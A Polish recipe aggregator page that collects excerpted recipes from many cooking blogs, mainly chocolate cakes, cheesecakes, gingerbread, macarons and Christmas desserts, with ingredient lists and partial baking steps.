Wszystkim Babciom i Dziadkom chciałam życzyć przede wszystkim zdrówka i dużo uśmiechu każdego dnia. A dla osłody podrzucam czekoladowe brownie :) Składniki: - 200 g gorzkiej czekolady - skórka i sok z jednej pomarańczy - 120 g mąki pszennej - 5 jajek - 200 g masła - 200 g cukru - 2 łyżki kakao Przygotowanie: Czekoladę oraz masło rozpuszczamy w kąpieli wodnej. Gdy lekko ostygnie dodajemy(...)Białka oddzielamy od żółtek i ubijamy je na sztywno. Następnie stopniowo dodajemy cukier cały czas miksując. Gdy piana jest szklista dodajemy po jednym żółtku, delikatnie mieszamy. Następnie dodajemy stopniowo czekoladę oraz mąkę wymieszaną z kakao i skórką pomarańczową. Całość delikatnie mieszamy, przelewamy do formy o wymiarach 24 cm x 24 cm i pieczemy około 35 minut

Zainspirowana w kuchni
Keto ciasto z pianką wiśniową (Paleo, LowCarb) 76

pyszny kawałek noworocznego ciasta. Oby rok 2020 był tak dobry jak to keto ciasto z pianką wiśniową... Dania Deser Kuchnia Europejska , Wege Keyword ciasto z owocami , czekolada , owoce , piernik Porcje 16 porcji Czas gotowania 20 minut Czas oczekiwania 2 godziny Składniki Ciasto piernikowe 4 jajka 0,25 szklanki gęstego mleka kokosowego 2 łyżki masła klarowanego rozpuszczonego 4 łyżki erytrytolu(...)mogą być też mrożone) 2 łyżki soku z cytryny 5 łyżek erytrytolu 100 ml wody 24 g żelatyny (6 łyżeczek) Ganache czekoladowy 100 ml gęstego mleka kokosowego 100 g czekolady gorzkiej min. 85% kakao lub niskowęglowodanowej 8 łyżek konfitury wiśniowej 2 garści płatków migdałowych Sposób przygotowania Ciasto piernikowe Suche składniki poza solą i erytrytolem wymieszać. Oddzielić białka od żółtek. Żółtka

Modern Cave Girl
Ciasto bajaderka na herbatnikach 91

Wszystkie resztki zamienią się w pyszne, bardzo aromatyczne ciasto! Ciasto bajaderka w naszym wydaniu prezentuje się wyjątkowo atrakcyjnie. Bajaderka jest pyszna, z doskonałym śmietanowym kremem oraz posypką ze startej czekolady! Przepis nie przysporzy żadnych trudności w przygotowaniu. Ciasto bajaderka to wyjątkowy deser, który zawsze smakuje inaczej. Za każdym razem do masy dodajemy kawałeczki innych ciast i ciastek. Dzięki temu zawsze(...)bakalie: 1 szklanka rum: 4 łyżki mleko: 250 ml kakao: 2 łyżki Masa śmietanowa: śmietana 30 %: 300 ml mleko w proszku: 0,5 szklanki cukier puder do smaku kawałek czekolady Ciasto bajaderka na herbatnikach Przygotowanie: Formę 20 x 20 cm wykładamy folią spożywczą. Spód blachy wykładamy herbatnikami. Mleko zagotowujemy razem z kakao i odstawiamy do lekkiego ostygnięcia. Bakalie płuczemy

Kuchnia Na Wypasie
Seromakowiec 144

jakości) 100 g masła temperatury otoczenia (pokojowa) 4 jajka rozmiar M również temperatury pokojowej 1 szklanka cukru 1 budyń waniliowy bez cukru Składniki na polewę czekoladową: 50 g gorzkiej czekolady 100 g mlecznej czekolady 100 ml śmietanki 30% Seromakowiec – sposób wykonania: Przygotowanie kruchego spodu: Przygotować naczynie ,do którego wsypać przesianą mąkę, dodać cukier, masło pokrojone na mniejsze kawałki, żółtko(...)serowej. Po tym czasie wyłączyć i zostawić w piekarniku na około 40 minut. Potem wyjąc i niech sobie stygnie. Do garnuszka wlać śmietankę i trochę podgrzać i dodać połamaną czekoladę. Mieszać, aż zrobi się jednolita masa. Gdy polewa przestygnie należy polać nią ciasto. Zostawiamy ciasto do ostudzenia , a następnie wkładamy na kilka godzin do lodówki . Smacznego. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł

Olcia gotuje!
Makaroniki 115

mąki migdałowej 125 g drobnego cukru 125 g cukru pudru 90 g białek (3 -4 szt) barwniki: czerwony, niebieski, fioletowy, żółty, morela Krem 250 g mascarpone 50 g białej czekolady barwniki te same jak do ciastek Białka o temp pokojowej ubić na sztywno. Powoli dosypywać drobny cukier(na 3-4 razy) i dalej ubijać. Ubijamy, aż piana będzie sztywna(...)stopni 25-30 minut. Pukamy w makaronik paznokciem i jest twardy tzn odpowiednio wysuszony. Wyjmujemy z piekarnika i studzimy. Dopiero po wystudzeniu zdejmujemy z papieru do pojemniczka. Czekoladę rozpuścić w kąpieli wodnej, lekko przestudzić. Dodać serek do miksera, wlać czekoladę i razem zmiksować. Wstawić na chwilę do lodówki, nieco zgęstnieje. Nakładać łyżeczką porcję kremu na makaronik i docisnąć drugim. Gotowe

gotuj ze mną
Ciasto nesquik 115

cukru 1l mleka 3 płaskie łyżki mąki pszennej tortowej 0,5szkl. kakao rozpuszczalnego 1 płaska łyżeczka kakao naturalnego 200g masła Dodatkowo: ok. 3/4szkl. zaparzonej i osłodzonej kawy (rozpuszczalnej) 50g czekolady mlecznej lub gorzkiej 2 łyżki śmietany 30% Sposób przygotowania: Jajka wybiłam do miski. Dosypałam cukier i na najwyższych obrotach miksera ubijałam je na puszystą masę. Mąkę przesiałam i wymieszałam(...)rozsmarowałam podobną porcję kremu. Na to ułożyłam trzeci blat ciasta, nasączyłam resztą kawy i posmarowałam resztą kremu. Wierzch ciasta posypałam pokruszonym ciastem. Śmietanę podgrzałam i rozpuściłam w niej czekoladę połamaną na kawałki. Czekoladą polałam ciasto. Ciasto przed podaniem należy chłodzić minimum kilka godzin w lodówce. SMACZNEGO

Waniliowe Improwizacje
Torcik naleśnikowy 106

śmietanki 30% 3 - 4 łyżki cukru pudru 1 łyżeczka cukru z wanilią 1 łyżeczka soku z cytryny Dodatkowo: świeże owoce do dekoracji (u mnie śliwki) groszek ptysiowy w czekoladzie lub starta czekolada sok malinowy lub wiśniowy do polania (opcjonalnie) Do odmierzania używam: szklanki - 250 ml, łyżki - 15 ml, łyżeczki - 5 ml. Jak zrobić torcik naleśnikowy? Żółtka oddzielić od białek(...)wystudzić. Naleśniki przekładać kremem, układając kolorami na przemian. Na każdy naleśnik położyć łyżkę kremu i rozsmarować. Ilość kremu dostosować do swoich upodobań. Wierzch udekorować według uznania, świeżymi owocami, konfiturą, czekoladą lub polać sokiem owocowym. Torcik naleśnikowy świetnie smakuje od razu po zrobieniu, jak i schłodzony. Krem Śmietankę ubić na sztywno z cukrem i cukrem z wanilią. Pod koniec ubijania dodawać

Kuchcik gotuje
Ciasto mleczna kanapka z kremem śmietankowo-jogurtowym 273

Kakao 2 pełne łyżki Krem: Śmietanka 30 % 400 ml Jogurt duży kubek u mnie 330 g żelatyna 2 łyżki pełne woda 60 ml Cukier puder 6 łyżek  Polewa: Czekolada mleczna 100 g masło 50 g Przygotowanie: Białka ubić w misce na sztywno a następnie dodawać partiami cukier cały czas miksując. Zmniejszyć obroty miksera o połowę i dodawać żółtka pojedynczo(...)przekrojony blat ciasta i przykrywam drugą częścią ciasta lekko dociskając. Wkładam do lodówki na kilka godzin do schłodzenia. ( ok. 3 godziny powinno wystarczyć). Do miseczki wsypuje połamaną na kostki czekoladę oraz masło. Całość rozpuszczam nad parą wodną. Po całkowitym rozpuszczeniu i ostudzeniu wylewam na ciasto płynną czekoladę. Wkładam na chwilę do lodówki do stężenia. Smacznego! Zapraszam was również do odwiedzania

Kulinarne przygody
Biszkopt z kremem i orzeszkami ziemnymi ala snickers 145

Pyszne ciasto przełożone kremem budyniowym, posypane orzeszkami ziemnymi, posmarowane masą krówkową i polane roztopioną czekoladą. Składniki Biszkopt: 4 jajka 4 łyżki cukru 4 łyżki mąki pszennej 1 łyżeczka proszku do pieczenia Krem budyniowy : 2 szklanki mleka 3/4 szklanki cukru 1 cukier waniliowy 2 łyżki mąki pszennej 2 łyżki maki ziemniaczanej 2 żółtka 25 dkg margaryny Dodatkowo: 300 gram orzeszków ziemnych(...)solonych 1 puszka masy kajmakowej krówkowej 1 mleczna czekolada 1. Biszkopt: białka oddzielamy od żółtek i ubijamy, stopniowo dodajemy cukier, a następnie po jednym żółtku. Na koniec dajemy mąkę pszenną wymieszaną z proszkiem do pieczenia. Delikatnie mieszamy i wykładamy na formę o wymiarach 25x35 wyłożoną papierem do pieczenia. 2. Pieczemy około 20 minut w temp. 180 stopni. 3. Krem: odlewamy

Kuchnia u Bietki
TORT MANGO MARAKUJA 534

Moje pierwsze podejście do tortu z mango i marakują było na tyle udane, że postanowiłam umieścić je na blogu 🙂 SKŁADNIKI (wszystkie składniki na końcu posta): Chrupki z białej czekolady: 100g białej czekolady czekoladę połam na nieduże kawałki i umieść na niedużej patelni teflonowej lub w garnuszku z nieprzywierającą powłoką postaw na małym ogniu gdy [...] Artykuł TORT MANGO MARAKUJA pochodzi

SandraFrej.com
Babeczki budyniowo-miodowe 141

Huzar 1 duże jajko 200 g serka homogenizowanego waniliowego 2 łyżki oleju 2 łyżeczki proszku do pieczenia 2 op. budyniu waniliowego 1/2 szkl mąki pszennej polewa: 50 g czekolady deserowej 1 łyżeczka masła 1 łyżka mleka kolorowa posypka Przygotowanie: Do miski przekładamy miód, jajko, serek oraz olej. Miksujemy do połączenia. Następnie dosypujemy mąkę, budynie oraz proszek do pieczenia. Miksujemy(...)foremek (po 1 czubatej łyżce). Wstawiamy do nagrzanego piekarnika i pieczemy przez 30 minut w temperaturze 180 stopni. Po upieczeniu studzimy babeczki. Polewa: do szklanki wkładamy małe kawałki czekolady, dodajemy masło i mleko. Wstawiamy do mikrofalówki na 30 sekund. Wyjmujemy i mieszamy (wtedy rozpuści się do końca czekolada). Polewamy zimne babeczki polewą i dekorujemy posypką. Przepis na 7 sztuk

słodkie i nie tylko historie kulinarne
Staropolski piernik dojrzewający 119

odstawić na 3-4 dni. Następnie piernika podzielić na 3-4 porcje (u mnie 4), każdą oblać polewą kakaową lub czekoladową, ewentualnie udekorować. Moja polewa: 1 tabliczka (100g) gorzkiej czekolady 40 g masła Masło rozpuścić w rondelku, zdjąć z ognia i wrzucić czekoladę, chwilkę poczekać, po czym wymieszać całość do rozpuszczenia się czekolady. Odstawić, aż trochę zgęstnieje. Gotową polewą posmarować

Kuchnia domowa Ani
Czekoladowo-pomarańczowe ciasteczka z kremem milky way 111

aromatyczne i bardzo smaczne ciasteczka przełożone niebiańskim kremem mlecznym.     Składniki: Ciasto: 250g mąki 150g masła 100g cukru szczypta soli 2 żółtka skórka z 1 pomarańczy 50g gorzkiej czekolady Krem: 125g masła 65ml mleka 70g cukru 1 szklanka mleka w proszku       *** Czekoladę kroimy w drobną kosteczkę *** *** Pomarańczę dokładnie myjemy, sparzamy wrzątkiem, osuszamy i ścieramy skórkę(...)drobnej tarce *** *** Masło ucieramy z cukrem, solą i żółtkami do białości. Dodajemy otartą skórkę z pomarańczy, posiekaną czekoladę oraz mąkę i zagniatamy ciasto. Ciasto formujemy w kulę, zawijamy w folię i wkładamy do lodówki na około 30 minut *** *** Po tym czasie ciasto rozwałkowujemy na podsypanym mąką blacie na grubość ok 0,5 cm *** *** Z ciasta wycinamy kształty za pomocą foremek

Blog z Apetytem
Deser z chia, truskawkami i mlekiem kokosowym 120

warto przypomnieć sobie sprawdzone pomysły na deser z ich wykorzystaniem. Postanowiłem przygotować deser z nasionami chia na bazie mleka kokosowego dodając do niego właśnie truskawki. Jako dekoracji użyłem gorzką czekoladę, która ostatnio coraz częściej u mnie gości. Serdecznie polecam i życzę smacznego! Składniki 400 ml mleczka kokosowego 400 g truskawek 3 łyżki nasion chia 1 łyżka miodu 1 łyżka cukru(...)kokosowego 4 kostki gorzkiej czekolady (70%) Przygotowanie Nasiona chia łączymy z mlekiem kokosowym i miodem. Całość dokładnie mieszamy i odstawiamy do lodówki na minimum 3 godziny, a najlepiej na całą noc. Do szklanek lub pucharków układamy plasterki truskawek, a następnie resztę wypełniamy naszą masą z nasion chia i mleka kokosowego. Na górę wylewamy resztę truskawek zblendowaną z łyżką cukru kokosowego

Programista w kuchni
Sernik kokosowy z polewą malinową wg Aleex 186

który cudownie może osłodzić święta. Jesli nie wiecie, który przepis na sernik wybrać, polecam Wam ten – jest naprawdę pyszny. Spróbujcie. Składniki: Spód brownie: • 70 g masła • 70 g gorzkiej czekolady • 1 jajko • 1/4 szklanki cukru • 45 g mąki pszennej Masa serowa: • 1 kg twarogu sernikowego • 4 łyżki mąki ziemniaczanej • 3/4 szklanki cukru • 1 laska wanilii lub cukier wanilinowy • 5 jajek(...)tortownicę o średnicy 24 cm. Dno wyłożyć papierem, zapiąć obręcz pozostawiając papier na zewnątrz. Boki tortownicy od środka posmarować grubszą warstwą masła. 2. Przygotować spód brownie: masło roztopić z czekoladą na malutkim ogniu, mieszając i nie podgrzewając za mocno masy. 3. W oddzielnej misce miksować jajko z cukrem przez 1 minutę. 4. Dodać rozpuszczone masło z czekoladą i zmiksować

W mojej kuchni
Dietetyczny piernik z fasoli (bez cukru) 200

fasoli z puszki  (zwykle 1 puszka po odsączeniu) 3 łyżki ciemnego kakao 150 g ksylitolu  1 łyżeczka proszku do pieczenia 3 łyżeczki przyprawy do piernika 1 tabliczka czekolady deserowej (gorzkiej) - 100 g PRZYGOTOWANIE Żółtka oddzielamy od białek. Mieszamy żółtka z pozostałymi składnikami (oprócz czekolady i białek) i miksujemy na gładką masę. Białka ubijamy na sztywno i dodajemy(...)łyżce wciąż mieszając. Wlewamy masę do foremki wyłożonej papierem do pieczenia i wstawiamy do piekarnika nagrzanego do 190 stopni na około 50 min. (do suchego patyczka). Studzimy ciasto. Czekoladę roztapiamy w kąpieli wodnej i polewamy piernik. Zostawiamy, aż polewa zastygnie. Smacznego!    Zapraszam do polubienia mojej  strony na Facebooku  oraz śledzenia na  Instagramie

Moje Kuchenne Rewelacje
Rogaliki drożdżowe z nadzieniem 106

Pyszne, baaardzo mięciutkie, delikatne drożdżowe rogaliki, no po prostu idealne! U mnie z nadzieniem z czekolady oraz dżemu truskawkowego, ale można użyć innego dowolnego :) Składniki na 24 rogaliki: 3/4 szklanki letniego (nie gorącego!) mleka ok. 40 g świeżych drożdży 350-400 g mąki pszennej szczypta soli 4 duże łyżki cukru 1 jajko (żółtko do ciasta, a białko do posmarowania rogalików(...)masła nadzienie: czekolada mleczna i dżem truskawkowy   W letnim mleku rozpuścić drożdże i 1 łyżkę cukru, odstawić na bok. W dużej misce wymieszać mąkę, sól, 3 łyżki cukru oraz żółtko. Masło rozpuścić. Gdy drożdże zaczną pracować przelać je do miski z mąką i całość dokładnie wymieszać, na koniec dolać powoli masło. Zacząć wyrabiać ciasto rękoma na gładką, miękką, nieklejącą

Simply Food
Ciasto toffi – bez pieczenia / 3 bit 2400

łyżeczka żelatyny w proszku Krem śmietanowy: 500 ml śmietany 36%, schłodzonej 1 cukier wanilinowy (16 g) 2 łyżki cukru pudru 1 łyżeczka żelatyny w proszku 50 g gorzkiej czekolady Dodatkowo: 1,5 opakowania słonych krakersów (duże opakowanie) około 150-200 g herbatników typu „petitki” czekolada lub kakao do oprószenia Na dnie wyłożonej papierem do pieczenia formy (21x32cm) rozkładamy(...)ciasta. Wkładamy do lodówki, najlepiej na całą noc (dopiero po tym czasie ciasto nabiera właściwej konsystencji i możliwe jest krojenie go na kawałki). Przed podaniem posypujemy kakao lub wiórkami czekolady.   Herbatniki – masa budyniowa – krakersy – masa toffi – krakersy – masa śmietanowa Źródło

Smaki Na Talerzu
Zielony tort z piernikowym kremem 91

mąka pszenna- 2 szklanki * olej- 2/3 szklanki * cukier trzcinowy- 2/3 szklanki * jajka- 3 szt. * cukier waniliowy- 2 łyżeczki * proszek do pieczenia- 2 łyżeczki Krem maślano-czekoladowy; * czekolada mleczna- 200 g * śmietana 36%- 200 ml * miękkie masło- 150 g * przyprawa do piernika- 2 łyżeczki * kakao- 2 łyżki Ciasto: Szpinak oraz olej umieścić w malakserze i zmiksować na gładko. Ubić jajka(...)ściąć wystający wierzch i drobno go pokruszyć, a resztę ciasta przekroić na 3 części. Blaty posmarować kremem czekoladowym (po 2 łyżki), a wierzch posypać kruszonką z ciasta. Krem piernikowy: Czekoladę roztopić w kąpieli wodnej i lekko przestudzić. Kremówkę ubić. Miękkie masło utrzeć wraz z roztopioną czekoladą, przesiać kakao, dodać przyprawę do piernika i dokładnie wymieszać. Na koniec połączyć masę

Kraina Miodem Płynąca
Szybki sernik budyniowy – łatwy przepis 200

Wieluń Mój Ulubiony 3/4 szklanki cukru pudru* 1/3 szklanki oleju 2 budynie śmietankowe – u mnie Emix (2 x 41 g) 4 jajka klasy M Dodatkowo: dobrej jakości mleczna czekolada (u mnie belgijska)** i czekoladowe kuleczki (chrupki) *sernik nie jest mocno słodki, bo dodatkowej słodyczy nadaje mu czekoladowa polewa. Ja często podaję go również posypanego wyłącznie cukrem pudrem. ** czekoladę można(...)około 50-60 minut). Sernik studzimy w lekko uchylonych drzwiczkach piekarnika. Następnie wyciągamy na blat. Gdy całkowicie przestygnie polewamy go polewą – u mnie rozpuszczona w kąpieli wodnej mleczna czekolada. Na wierzch dodatkowo wysypałam czekoladowe kuleczki (chrupki). Gdy polewa przestygnie sernik wstawiamy do lodówki na minimum 1 godzinę. Uwagi: Sernik podczas pieczenia mocno rośnie, a potem opada. Jednak powinien zostać

Słodkie okruszki
Świąteczna kawa piernikowa z piankami 216

Pracy jest mnóstwo, a czasu coraz mniej. Warto w tak pyszny sposób dodać sobie odrobiny energii. A jak kawa, to i słodki deser Tym razem sięgam po pyszną piernikową czekoladę, którą otrzymałam w mojej Slow Paczce (pisałam Wam o niej tutaj ). Świąteczne pierniczki zanurzone w lśniącej tafli gorzkiej czekolady… Coś cudownego Miłego dnia moi drodzy. Składniki: około(...)zaparzonej kawy 50 ml mleka (najlepiej 3,2%) 1 łyżeczka przyprawy 1 szczypta gałki muszkatałowej mini pianki marshmallow szczypta cynamonu A do kawy… pyszna i wyjątkowa piernikowa czekolada ze Slow Paczki Przygotowanie: Mleko podgrzewamy w rondelku z przyprawą do piernika i i szczyptą gałki muszkatołowej. Zaparzoną kawę dodajemy do podgrzewanego mleka, mieszamy i podgrzewamy jeszcze kilka sekund. Przelewamy

Słodkie okruszki
Przyjemność bez wyrzutów, czyli Świąteczna Slow Paczka. 109

chutney śliwkowo-imbirowy, „Czysta Przyjemność” (99zł), nie zawiera herbaty, ale za to dodatkowo w zestawie znajduje się naturalne mydło z Mydło Stacji, a także sos chrzanowy i czekolada piernikowa. Największy jest zestaw „Od Serca” (159zł), który dodatkowo zawiera kalendarz owocowo-warzywny od Sezonownik, oraz Magazyn Usta. Wszystke paczki i zestawy są w wersji slow, od lokalnych(...)dostawców. Jak się pewnie domyślacie, mi przypadło przetestować paczkę pełną smaku, a dokładniej „Czystą Przyjemność”. W paczce znalazłam wymienione powyżej 3 słoiczki, czekoladę i mydełko. Są to produkty, których nie znajdziecie na półkach sklepowych sieci handlowych, a nawet jeśli znajdziecie to na pewno nie z łatwością (mnie się jeszcze nie udało). Paczkę przetestowałam prawie całą, za wyjątkiem czekolady

Fill The Bowl
Czekoladowy mus z malinami 133

musu z malinami ? Jest to bardzo smaczny deser jak najbardziej odpowiedni na mroźne, zimne dni. Składniki na 2 porcje: 300 g mrożonych malin 2 łyżki cukru 200 g gorzkiej czekolady 0,5 łyżeczki kardamonu  0,5 łyżeczki cynamonu 0,5 szklanki mleka Maliny gotujemy w garnku dodając 2 łyżki cukru. Gotujemy do momentu, aż woda odparuje i powstanie gęsty(...)Czekoladę rozpuszczamy razem z mlekiem dodając cynamon i kardamon. Studzimy.Przygotowujemy małe szklaneczki lub filiżanki. Na spód przekładamy po dwie łyżki musu malinowego. Następnie czekoladę i na sam wierzch znowu mus malinowy

noteskulinarnyfiga
CIASTO PIERNIKOWE Z ANANASEM 398

Przepis na pyszne ciasto piernikowe z ananasem, o aromatycznym lecz delikatnym smaku, z kawałkami egzotycznych owoców, lekką jak puch pianką śmietankową, pokryte delikatnie czekoladą i wiórkami kokosowymi. SKŁADNIKI: Ciasto: - masło (130 g.) - jajka (4 duże) - cukier (1/2 szkl.) - miód (200 g.) - mąka pszenna (450g.) - śmietana (3 duże łyżki) - kakao (2 łyżki) - przyprawa do piernika ( 1 opakowanie 15 g.) - soda(...)łyżeczki) - sól (szczypta) Pianka:   - galaretka ananasowa (2 opakowania) + gorąca woda (2 szkl.) - śmietanka kremówka 30 % (500 ml.) - cukier puder (1 łyżka) - ananas z puszki Polewa: - czekolada gorzka (100 g.) - śmietanka kremówka 30% (100 ml.) Dodatkowo:  - wiórki kokosowe (do posypania góry ciasta) - syrop (z puszki ananasa) * foremka 24cm. x 32cm. * 1 szklanka = 250 ml.   WYKONANIE: - Masło ucieramy

RITA food channel
Rogaliki z makiem i orzechami włoskimi – idealne na Święta! 157

pełni kojarzą się ze Świętami Bożego Narodzenia. Na pewno większość z Was piecze pyszne makowce, dlatego moją propozycją są kruche rogaliki z makiem i orzechami włoskimi. Ciasteczka polałam gorzką czekoladą, jednak jeszcze lepiej sprawdzi się lukier, dzięki niemu rogaliki zyskają bardziej świeży smak – wystarczy cukier puder zmieszać z odrobiną soku z cytryny Orzechowe rogaliki z makiem Via Gusto(...)maku 30 g rodzynek 20 g cukru 2 łyżeczki płatków migdałowych 1/2 łyżeczki cynamonu 1/2 łyżeczki cukru waniliowego opcjonalnie kilka kropel aromatu migdałowego lub alkoholu Dodatkowo: czekolada lub lukier orzechy włoskie do posypania   przygotowanie Mak zalej gorącą wodą i odstaw do wystudzenia. Następnie odciśnij z wody i zmiel w maszynce lub zblenduj. Do gotowego maku dodaj pozostałe składniki (rodzynki

Via Gusto
PROSTY Pyszny MAKOWIEC z Serem 837

kruchym cieście. Jest bardzo smaczny, wilgotny, trochę waniliowy i migdałowy, wygląda apetycznie po przekrojeniu, ma takie łatki. Do jego przygotowania użyłam gotowej masy makowej z puszki. Makowiec udekorowałam mleczną czekoladą i cukrowymi gwiazdkami. Jest pyszny, polecam!!! Polecam również pyszny GWIAZDKOWY Makowiec na Kruchym Cieście (klik). Proszę pamiętać o subskrypcji kanału Mała Cukierenka na YouTube! . Zapraszam na FILM . Subskrybuj kanał Małej(...)gotowego sera na sernik (użyłam z wiaderka) 180g cukru 4 jajka 5 łyżek kwaśnej śmietany 12% lub 18% 45g mąki ziemniaczanej 2 łyżeczki ekstraktu waniliowego Wierzch: 80g mlecznej czekolady złote gwiazdki cukrowe Spód: 1. Do miski wsypać mąkę, proszek do pieczenia, przesiać cukier puder, dodać masło i posiekać nożem. Dodać żółtko, 1 łyżeczkę śmietany i zagnieść ciasto. Jeśli ciasto będzie

Mała Cukierenka
Canestrelli – włoskie ciasteczka 125

sekretem są żółtka jaj, ugotowane na twardo, które dodajemy do ciasta. Chcąc nadać ich świątecznego charakteru, dodałam do nich również szczyptę cynamonu i kardamonu. Dodatkowo udekorowałam je rozpuszczoną gorzką czekoladą i posypałam cukrowymi kuleczkami. Jeśli chcecie możecie udekorować je po prostu cukrem pudrem lub zostawić bez żadnych ozdób. Przygotujcie się jednak, że ciastka znikną w mgnieniu oka, pozostaną po nich(...)skrobi ziemniaczanej 100 g cukru pudru 180 g miękkiego masła 3 żółtka ugotowane na twardo pół łyżeczki ekstraktu waniliowego pół łyżeczki cynamonu 16 g cukru waniliowego + gorzka czekolada do dekoracji (opcjonalnie) W misce wymieszaj mąkę pszenną, skrobię ziemniaczaną, cukier puder, cynamon i cukier waniliowy. Następnie dodaj miękkie masło oraz żółtka starce na tarce i ekstrakt waniliowy. Całość dokładnie zagniataj

365 dni dookoła kuchni
Czekoladowe babeczki z kremem piernikowym 154

Polecam Składniki: babeczki: 1,5 szkl mąki pszennej 1/2 szkl cukru pudru 2 łyżeczki proszku do pieczenia 2 łyżki kakao 300 g jogurtu naturalnego 1 jajko 100 g mlecznej czekolady 100 g oleju kokosowego krem: 1 szkl śmietanki 30% 250 g mascarpone 4 łyżki cukru pudru 4 duże ciastka piernikowe oraz figa do dekoracji Przygotowanie: Czekoladę rozpuszczamy razem z olejem(...)kokosowym w kąpieli wodnej i odstawiamy do lekkiego przestudzenia. Następnie do czekolady dodajemy jogurt i jajko i krótko mieszamy do połączenia. Suche składniki dodajemy do mokrych i mieszamy razem. Formę wykładamy silikonowymi papilotkami (lub papierowymi) i do każdej nakładamy po łyżce masy. Wstawiamy blaszkę do nagrzanego piekarnika i pieczemy przez 30 minut w temperaturze 180 stopni. Upieczone babeczki wyjmujemy

słodkie i nie tylko historie kulinarne
Babka pomarańczowa z makiem i czekoladą 112

pomarańczami i polewą czekoladową. Ta babka jest super prosta w przygotowaniu i wystarczy zaledwie kilka minut, żeby ją ukręcić, a potem hop do piekarnika.  Wystudzoną można polać ulubioną czekoladą, najlepiej gorzką, która fajnie komponuje się z pomarańczami. Uważam, że Boże Narodzenie nie może się obyć bez ciast z makiem, a taka babka może być fajnym dopełnieniem. ;) * SKŁADNIKI na formę(...)pszennej + do posypania formy 1 łyżeczka proszku do pieczenia 100 g niebieskiego maku skórka otarta z 2 niewoskowanych pomarańczy 1 łyżeczka ekstraktu z wanilii Polewa: 150 g gorzkiej czekolady 2 łyżki masła * PRZYGOTOWANIE Masło w temperaturze pokojowej utrzyj z cukrem za pomocą miksera na puch. Następnie zacznij wbijać po jednym jajku, nie przerywając ubijania. Mąkę wymieszaj z proszkiem

Food Square
PORADNIK BOŻEGO NARODZENIA 224

łyżką zmielonych goździków, cynamonu oraz imbiru. Innym sposobem na uzyskanie koloru mocnego brązu jest dosypanie do miodu 2 - 3 łyżeczki palonego cukru. Na barwę ciasta wpływa także dodatek czekolady lub kakao. Jak w łatwy sposób polukrować piernika - ostudzony piernik kładziemy na desce i z góry wlewamy na niego lukier, następnie szerokim nożem rozprowadzamy lukier na powierzchni. lukier powinien swobodnie spływać(...)zwiększa odporność i pomaga zwalczać infekcje. Zastosowanie : Używa się jej do wypieków ciast np. serników, makowców, keksu lub dekoruje się desery. Jest też smacznym dodatkiem do zimowej herbaty, czy czekolady. SUSZONE BANANY Świetnie sprawdzą się jako zdrowa przekąska lub dodatek do jogurtu. Poza tym podobnie jak świeże owoce są  źródłem wielu witamin. Mają też niestety trzy razy więcej kalorii

Ciastka - domowe słodkości
3 Bit - ciasto bez pieczenia 195

około 400 g) 2 śmietankowe budynie bez cukru 750 ml mleka 200 g masła (o temperaturze pokojowej) 4 łyżki cukru 600 g śmietanki 36% (mocno schłodzona) 1 tabliczka mlecznej czekolady 1 łyżka kakao 1 cukier waniliowy 3/4 szklanki cukru pudru 6 łyżeczek żelatyny papier do pieczenia Sposób wykonania: Tabliczkę czekolady wkładamy na godzinę do zamrażarki. Puszkę z masą kajmakową przez(...)cukrem waniliowym na puszystą, sztywną masę. Pod koniec ubijania dodajemy powoli rozpuszczoną żelatynę cały czas miksując. Bitą śmietanę wykładamy na wierzch ciasta. Całość posypujemy startą na tarce zmrożoną czekoladą oraz posypujemy przez sitko kakao

Qchnia po prostu
TORT BOŻO NARODZENIOWY 102

waniliowym  Masa waniliowa: 2 opakowania budyniu waniliowego 1/2 litra mleka 1 olejek spirytusowy waniliowy 3/4 szklanki cukru 1 łyżka cukru waniliowego 250 g margaryny Dodatkowo: 0,5 tabliczki czekolady gorzkiej kilka sztuk białych perełek cukrowych różowy i zielony cukier błyszczący Przygotowanie: Biszkopt piernikowy - margarynę rozpuszczamy i odstawiamy do ostygnięcia. Mąkę pszenną z sodą oczyszczoną i przyprawą do piernika - przesiać(...)rozsmarować pozostałym krem wierzch ciasta i boki tortu cienką warstwą kremu. Wierzch wyrównać. Na koniec udekorować tort według uznania.  Przykładowa dekoracja: Na bokach tortu za pomocą startej gorzkiej czekolady zrobić falę. Następnie również za pomocą startej czekolady na środku tortu zrobić choinkę, zaś po bokach choinki zrobić 2 duże i 1 małą gwiazdkę. Na koniec na choince ułożyć białe

Ciastka - domowe słodkości
Tort piernikowy z galaretką żurawinową (bez glutenu, cukru białego, laktozy, wegańskie) 133

tego całkowicie wegańskiego. Udało się! 😎 Wilgotność ciasta uzyskałyśmy dzięki wykorzystaniem małego buraczka, którego absolutnie w wystudzonym cieście nie było czuć. Owocowa galaretka sprawiała, że ciasto wraz czekoladą i krówkami wegańskimi Super Krówka nie jest zbyt słodkie i mdłe. Jak widać warto przemycać warzywa do ciast 😃     Składniki (śr: 21-23 cm) Piernik z burakiem -200g mąki(...)winnym) -kilka łyżeczek przyprawy do piernika (u nas imbir, cynamon, kardamon) Galaretka z żurawiną -1 L musu z jabłek i żurawiny -2,5-3 łyżeczki agaru -ksylitol Dodatkowo -tabliczka czekolady Super krówka truskawkowa lub kokosowa/pomarańczowa - krówki żurawinowe Super krówka -praliny w kakao (resztki biszkoptu zagnieść z mlekiem roślinnym i odrobiną oleju kokosowego) PIERNIK Z BURAKIEM 1. Buraka obrać, pokroić

Candy Pandas
Przepis #192 Tort Ferrero Rocher - bez mąki 321

jaja - 160 g zmielonych z łupinkami migdałów - 2-3 łyżki ksylitolu lub innego słodzidła Masa - 250 g serka mascarpone/ricotty/twarogowego - 2-3 łyżki ksylitolu lub innego słodzidła - 2 kostki gorzkiej czekolady bez cukru - 1 łyżeczka kakao - 1 łyżka zmielonych orzechów laskowych lub ziemnych Wykonanie Biszkopt Białka ubijamy na sztywną pianę. Pod koniec dodajemy ksylitol lub inne słodzidło i miksujemy przez chwilę(...)przygotowaną masę przelewamy do formy i pieczemy w piekarniku nagrzanym do 180 stopni przez około 25 minut. Pozostawiamy do wystudzenia. Masa Serek miksujemy z ksylitolem lub innym słodzidłem. Czekoladę roztapiamy w kąpieli wodnej i lekko studzimy. Następnie dodajemy do masy. Wsypujemy kakao oraz zmielone orzechy. Wszystko chwilę miksujemy. Wystudzony biszkopt dzielimy na pół. Na pierwszy krążek wykładamy około 3/4 masy

Health-Fit-Life
Piernik z musem ze świeżych pomarańczy 152

